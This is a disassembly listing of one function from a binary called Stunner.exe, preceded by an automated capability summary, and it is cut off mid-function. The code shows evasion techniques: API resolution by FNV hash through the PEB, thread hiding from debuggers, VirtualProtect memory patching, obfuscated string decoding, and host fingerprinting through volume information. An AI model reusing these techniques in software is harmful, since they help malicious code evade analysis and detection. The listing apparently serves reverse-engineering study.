Function at 0x140038e70
Capabilities:
Authenticate hmac
Encode data using base64
Enumerate devices by category
Get disk information
Get hostname
Get number of processors
Get session user name
Hash data using fnv
Parse pe header
Receive http response
Resolve dns
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
mov eax, 0x7c00
call fcn.140070aa0
sub rsp, rax
movaps xmmword [rsp + 0x7bf0], xmm6
movaps xmmword [rsp + 0x7be0], xmm7
movaps xmmword [rsp + 0x7bd0], xmm8
movaps xmmword [rsp + 0x7bc0], xmm9
mov rax, qword [0x14007c040]
xor rax, rsp
mov qword [rsp + 0x7bb0], rax
xor r15d, r15d
mov dword [rsp + 0xa0], r15d
mov byte [rsp + 0x16b4], r15b
lea rdx, [rsp + 0x16b4]
lea rcx, [rsp + 0xa8]
call fcn.140066490
lea r8, [rsp + 0xa8]
lea rdx, [sym.Stunner.exe_void___cdecl_hooker_bool____ptr64_]
lea rcx, [rsp + 0x110]
call fcn.1400664a0
nop
lea rcx, [rsp + 0x110]
call fcn.140003020
nop
cmp dword [rsp + 0x118], r15d
je 0x140038f2f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
mov rcx, qword [0x14007d210]
test rcx, rcx
jne 0x14003910a
mov r11d, r15d
mov r10d, 0xd7d9459d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r13, qword [rax]
mov rsi, r13
nop
movups xmm0, xmmword [rsi + 0x58]
movd eax, xmm0
sub ax, 8
test r11d, r11d
je 0x140038fc0
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x685231f0
cmp rcx, r8
je 0x140038fb7
mov rbx, rcx
nop dword [rax]
nop word [rax + rax]
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
lea rcx, [rbx + 2]
mov rbx, rcx
cmp rcx, r8
jne 0x140038fa0
cmp edx, r11d
jne 0x1400390dd
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r12, rcx
shr r12, 0x20
mov edi, ecx
add rdi, r9
cmp rdi, r9
je 0x1400390dd
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x1400390dd
mov r15d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r15 + r8*4]
mov ecx, dword [rax + r9]
movzx eax, byte [rcx + r9]
lea rdx, [rcx + 1]
add rdx, r9
mov ecx, 0x685231f0
test al, al
je 0x140039049
mov rbx, rdx
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rbx + 1]
mov rbx, rdx
test al, al
jne 0x140039030
cmp ecx, r10d
je 0x140039058
test r8d, r8d
jne 0x140039000
jmp 0x1400390dd
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov ecx, dword [rcx + rax*4]
add rcx, r9
cmp rcx, rdi
jbe 0x140039081
lea rax, [r12 + rdi]
cmp rcx, rax
jae 0x140039081
mov al, 1
jmp 0x140039083
xor al, al
test al, al
je 0x140039260
mov r11d, 0x685231f0
mov r10d, r11d
movzx eax, byte [rcx]
cmp al, 0x2e
je 0x1400390b7
nop dword [rax + rax]
movsx eax, al
xor eax, r11d
imul r11d, eax, 0x1000193
inc rcx
movzx eax, byte [rcx]
cmp al, 0x2e
jne 0x1400390a0
inc rcx
movzx eax, byte [rcx]
cmp al, 0
je 0x1400390d9
movsx eax, al
xor eax, r10d
imul r10d, eax, 0x1000193
lea rcx, [rcx + 1]
movzx eax, byte [rcx]
test al, al
jne 0x1400390c1
mov rsi, qword [r13]
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r13
je 0x1400390f3
cmp qword [rax + 0x30], 0
je 0x1400390f3
mov al, 1
jmp 0x1400390f5
xor al, al
test al, al
jne 0x140038f60
xor r15d, r15d
mov ecx, r15d
mov qword [0x14007d210], rcx
call rcx
mov rcx, rax
call sym.Stunner.exe_bool___cdecl_hide_thread_void____ptr64_
call sym.Stunner.exe_bool___cdecl_thread_hide_debugger_void_
call sym.Stunner.exe_int___cdecl_hide_loader_thread_void_
call fcn.140023a30
lea r9, [rsp + 0x16c0]
mov edx, 8
lea r8d, [rdx + 0x38]
mov rcx, qword [0x14007d2c8]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rax, [0x1400226e0]
mov dword [0x14007d2c8], eax
lea r9, [rsp + 0x16c0]
mov r8d, dword [rsp + 0x16c0]
mov edx, 8
mov rcx, qword [0x14007d2c8]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r9, [rsp + 0x16c0]
mov edx, 8
lea r8d, [rdx + 0x38]
mov rcx, qword [0x14007d2d8]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rax, [0x140036fd0]
mov dword [0x14007d2d8], eax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rdi, r14
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r11d, dword [rax + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x14003924a
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x14003924a
mov r10d, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r10 + r8*4]
mov ecx, dword [rax + r9]
movzx eax, byte [rcx + r9]
lea rdx, [rcx + 1]
add rdx, r9
test al, al
je 0x140039245
mov ecx, 0xf1592eb6
mov rbx, rdx
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rbx + 1]
mov rbx, rdx
test al, al
jne 0x140039220
cmp ecx, 0x1af545fc
je 0x1400393c8
test r8d, r8d
jne 0x1400391f0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r14
je 0x140039268
cmp qword [rax + 0x30], 0
je 0x140039268
mov al, 1
jmp 0x14003926a
xor r15d, r15d
jmp 0x140039103
xor al, al
test al, al
jne 0x1400391c0
mov rax, r15
lea r9, [rsp + 0x16c0]
mov r8d, dword [rsp + 0x16c0]
mov edx, 8
mov rcx, qword [0x14007d2d8]
call rax
mov rcx, qword [0x14007d230]
test rcx, rcx
jne 0x140039496
mov r11d, r15d
mov r10d, 0xc303e4b7
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r13, qword [rax]
mov rsi, r13
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rsi + 0x58]
movd eax, xmm0
sub ax, 8
test r11d, r11d
je 0x140039330
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0xde730d32
cmp rcx, r8
je 0x140039327
mov rbx, rcx
nop dword [rax]
nop word [rax + rax]
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
lea rcx, [rbx + 2]
mov rbx, rcx
cmp rcx, r8
jne 0x140039310
cmp edx, r11d
jne 0x14003946d
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r12, rcx
shr r12, 0x20
mov edi, ecx
add rdi, r9
cmp rdi, r9
je 0x14003946d
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x14003946d
mov r15d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r15]
movzx eax, byte [rcx + r9]
lea rdx, [rcx + 1]
add rdx, r9
mov ecx, 0xde730d32
test al, al
je 0x1400393b9
mov rbx, rdx
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rbx + 1]
mov rbx, rdx
test al, al
jne 0x1400393a0
cmp ecx, r10d
je 0x1400393e6
test r8d, r8d
jne 0x140039370
jmp 0x14003946d
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov eax, dword [rcx + rax*4]
add rax, r9
jmp 0x140039275
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov ecx, dword [rcx + rax*4]
add rcx, r9
cmp rcx, rdi
jbe 0x14003940f
lea rax, [rdi + r12]
cmp rcx, rax
jae 0x14003940f
mov al, 1
jmp 0x140039411
xor al, al
test al, al
je 0x14003948f
mov r11d, 0xde730d32
mov r10d, r11d
movzx eax, byte [rcx]
cmp al, 0x2e
je 0x140039447
nop word [rax + rax]
movsx eax, al
xor eax, r11d
imul r11d, eax, 0x1000193
inc rcx
movzx eax, byte [rcx]
cmp al, 0x2e
jne 0x140039430
inc rcx
movzx eax, byte [rcx]
cmp al, 0
je 0x140039469
movsx eax, al
xor eax, r10d
imul r10d, eax, 0x1000193
lea rcx, [rcx + 1]
movzx eax, byte [rcx]
test al, al
jne 0x140039451
mov rsi, qword [r13]
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r13
je 0x140039483
cmp qword [rax + 0x30], 0
je 0x140039483
mov al, 1
jmp 0x140039485
xor al, al
test al, al
jne 0x1400392d0
xor ecx, ecx
mov qword [0x14007d230], rcx
call rcx
mov qword [rsp + 0x50], rax
mov rbx, qword [0x14007d0a8]
test rbx, rbx
jne 0x14003967b
xor r11d, r11d
mov r10d, 0x7107e84f
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r13, qword [rax]
mov rsi, r13
nop dword [rax]
movups xmm0, xmmword [rsi + 0x58]
movd eax, xmm0
sub ax, 8
test r11d, r11d
je 0x140039530
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0xd6f45da
cmp rcx, r8
je 0x140039527
mov rbx, rcx
nop dword [rax]
nop word [rax + rax]
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
lea rcx, [rbx + 2]
mov rbx, rcx
cmp rcx, r8
jne 0x140039510
cmp edx, r11d
jne 0x14003964d
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r12, rcx
shr r12, 0x20
mov edi, ecx
add rdi, r9
cmp rdi, r9
je 0x14003964d
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x14003964d
mov r15d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r15]
movzx eax, byte [rcx + r9]
lea rdx, [rcx + 1]
add rdx, r9
mov ecx, 0xd6f45da
test al, al
je 0x1400395b9
mov rbx, rdx
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rbx + 1]
mov rbx, rdx
test al, al
jne 0x1400395a0
cmp ecx, r10d
je 0x1400395c8
test r8d, r8d
jne 0x140039570
jmp 0x14003964d
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov ebx, dword [rcx + rax*4]
add rbx, r9
cmp rbx, rdi
jbe 0x1400395f1
lea rax, [rdi + r12]
cmp rbx, rax
jae 0x1400395f1
mov al, 1
jmp 0x1400395f3
xor al, al
test al, al
je 0x14003966f
mov r11d, 0xd6f45da
mov r10d, r11d
movzx eax, byte [rbx]
cmp al, 0x2e
je 0x140039627
nop word [rax + rax]
movsx eax, al
xor eax, r11d
imul r11d, eax, 0x1000193
inc rbx
movzx eax, byte [rbx]
cmp al, 0x2e
jne 0x140039610
inc rbx
movzx eax, byte [rbx]
cmp al, 0
je 0x140039649
movsx eax, al
xor eax, r10d
imul r10d, eax, 0x1000193
lea rbx, [rbx + 1]
movzx eax, byte [rbx]
test al, al
jne 0x140039631
mov rsi, qword [r13]
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r13
je 0x140039663
cmp qword [rax + 0x30], 0
je 0x140039663
mov al, 1
jmp 0x140039665
xor al, al
test al, al
jne 0x1400394d0
xor ebx, ebx
mov qword [0x14007d0a8], rbx
mov rax, qword [rsp + 0x50]
xor edx, edx
mov rcx, rax
call rbx
call fcn.140003790
movsx ebx, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
xor r14d, r14d
cmp eax, ecx
je 0x14003a2d9
mov ecx, r14d
mov eax, dword [0x14007d2c0]
cmp dword [0x14007d2c4], eax
setg cl
xorps xmm2, xmm2
cvtsi2sd xmm2, rcx
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140039799
call fcn.140003780
movsx edi, al
call fcn.140003770
movsx esi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, esi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, edi
add eax, ebx
add edx, eax
je 0x140039799
mov r12d, 7
mov ebx, r12d
jmp 0x14003983a
call fcn.140003790
movsx ebx, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003982d
call fcn.140003790
movsx ebx, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si ebx, xmm0
jmp 0x140039834
mov ebx, dword [rsp + 0x16c0]
mov r12d, 7
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx esi, al
call fcn.140003750
mov edx, esi
movsx ecx, al
imul edx, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rdx*4]
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x14003a2df
mov byte [rsp + 0x680], 0x86
mov byte [rsp + 0x681], 0x85
mov byte [rsp + 0x682], 0x84
mov byte [rsp + 0x683], 0x83
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x684], xmm0
mov dword [rsp + 0x694], eax
mov byte [rsp + 0x698], al
mov qword [rsp + 0x50], r14
mov rax, qword [rsp + 0x50]
cmp rax, 0x19
jae 0x140039927
movabs r8, 0x5ba3d80004d96041
nop word [rax + rax]
mov rdx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx ebx, byte [rsp + rax + 0x680]
add rdx, r8
movzx eax, bl
and al, dl
add al, al
sub bl, al
add bl, 0x39
add bl, dl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0x680], bl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x19
jb 0x1400398e0
mov eax, dword [rsp + 0x680]
mov dword [rsp + 0x16b0], eax
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*2]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rax + rdx*2]
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003a0a7
mov byte [rsp + 0x6a0], 0x86
mov byte [rsp + 0x6a1], 0x85
mov byte [rsp + 0x6a2], 0x84
mov byte [rsp + 0x6a3], 0x83
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x6a4], xmm0
mov qword [rsp + 0x6b4], rax
mov byte [rsp + 0x6bc], al
mov qword [rsp + 0x50], r14
mov rax, qword [rsp + 0x50]
cmp rax, 0x1d
jae 0x140039a1b
nop word [rax + rax]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rsp + rax + 0x6a0]
add rcx, 0x11e41
movzx eax, dl
and al, cl
add al, al
sub dl, al
add dl, 0x39
add dl, cl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0x6a0], dl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x1d
jb 0x1400399d0
mov r9d, dword [rsp + 0x6a0]
mov byte [rsp + 0x6c0], 0xac
mov byte [rsp + 0x6c1], 0xad
mov byte [rsp + 0x6c2], 0xa2
mov byte [rsp + 0x6c3], 0xa3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x6c4], xmm0
mov qword [rsp + 0x6d4], rax
mov byte [rsp + 0x6dc], al
mov qword [rsp + 0x50], r14
mov rax, qword [rsp + 0x50]
cmp rax, 0x1d
jae 0x140039abb
nop
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rsp + rax + 0x6c0]
add rcx, 0x11e46
movzx eax, dl
and al, cl
add al, al
sub dl, al
add dl, 0x16
add dl, cl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0x6c0], dl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x1d
jb 0x140039a70
mov r8d, dword [rsp + 0x6c0]
mov byte [rsp + 0x6e0], 0x2b
mov byte [rsp + 0x6e1], 0x6d
mov byte [rsp + 0x6e2], 0x4c
mov byte [rsp + 0x6e3], 0x73
mov byte [rsp + 0x6e4], 0x2c
mov byte [rsp + 0x6e5], 0x71
mov byte [rsp + 0x6e6], 0x76
mov byte [rsp + 0x6e7], 0x77
xor eax, eax
mov qword [rsp + 0x6e8], rax
mov dword [rsp + 0x6f0], eax
mov qword [rsp + 0x50], r14
mov rax, qword [rsp + 0x50]
cmp rax, 0x14
jae 0x140039b76
movabs r10, 0xfcb2830374fd26e
nop
mov rdx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx ebx, byte [rsp + rax + 0x6e0]
add rdx, r10
movzx eax, bl
and al, dl
inc al
add al, al
sub bl, al
add bl, dl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0x6e0], bl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x14
jb 0x140039b30
mov dword [rsp + 0x38], r9d
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
lea r9, [rsp + 0x16b0]
xor edx, edx
lea rcx, [rsp + 0x6e0]
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
movd xmm2, eax
cvtdq2pd xmm2, xmm2
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140039c59
call fcn.140003780
movsx edi, al
call fcn.140003770
movsx esi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, esi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, edi
add eax, ebx
add edx, eax
je 0x140039c59
mov ebx, r12d
jmp 0x140039cf4
call fcn.140003790
movsx ebx, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140039ced
call fcn.140003790
movsx ebx, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si ebx, xmm0
jmp 0x140039cf4
mov ebx, dword [rsp + 0x16b0]
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx esi, al
call fcn.140003750
mov edx, esi
movsx ecx, al
imul edx, ecx
imul eax, edx, 7
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x14003a0a7
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rdi, r14
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r11d, dword [rax + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x140039dea
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x140039dea
mov r10d, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r10 + r8*4]
mov ecx, dword [rax + r9]
movzx eax, byte [rcx + r9]
lea rdx, [rcx + 1]
add rdx, r9
test al, al
je 0x140039de5
mov ecx, 0xca38a76d
mov rbx, rdx
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rbx + 1]
mov rbx, rdx
test al, al
jne 0x140039dc0
cmp ecx, 0x4da40864
je 0x140039fc0
test r8d, r8d
jne 0x140039d90
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r14
je 0x140039e00
cmp qword [rax + 0x30], 0
je 0x140039e00
mov al, 1
jmp 0x140039e02
xor al, al
test al, al
jne 0x140039d60
xor r14d, r14d
mov r8d, r14d
mov byte [rsp + 0x700], 0x4d
mov byte [rsp + 0x701], 0x45
mov byte [rsp + 0x702], 0x5c
mov byte [rsp + 0x703], 0x23
mov byte [rsp + 0x704], 0x8a
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x705], xmm0
mov qword [rsp + 0x715], rax
mov byte [rsp + 0x71d], al
mov qword [rsp + 0x50], r14
mov rax, qword [rsp + 0x50]
cmp rax, 0x1e
jae 0x140039eb7
movabs rbx, 0x5a2dd873f7f2b96d
nop
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rsp + rax + 0x700]
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
add cl, 5
add cl, dl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0x700], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x1e
jb 0x140039e70
lea rdx, [rsp + 0x700]
lea rcx, [rsp + 0x2780]
call fcn.14005dea0
call fcn.140003750
movsx ebx, al
call fcn.140003760
movsx edi, al
call fcn.140003790
movsx r8d, al
imul ebx, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rbx*4]
add eax, r8d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140039fe2
call fcn.140003780
movsx edi, al
call fcn.140003770
movsx esi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, esi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, edi
add eax, ebx
add edx, eax
je 0x140039fe2
mov eax, r12d
jmp 0x14003a07d
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov r8d, dword [rcx + rax*4]
add r8, r9
xor r14d, r14d
jmp 0x140039e10
call fcn.140003790
movsx ebx, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003a076
call fcn.140003790
movsx ebx, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
jmp 0x14003a07d
mov eax, dword [rsp + 0x16b0]
cmp r14d, eax
jge 0x14003a0a7
lea rdx, [rsp + 0x2780]
lea rcx, [rsp + 0x17a8]
call fcn.140001d00
or dword [rsp + 0xa0], 0x80
jmp 0x14003a2df
call fcn.140003750
movsx ebx, al
call fcn.140003760
movsx edi, al
call fcn.140003790
movsx r8d, al
imul ebx, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rbx*4]
add eax, r8d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
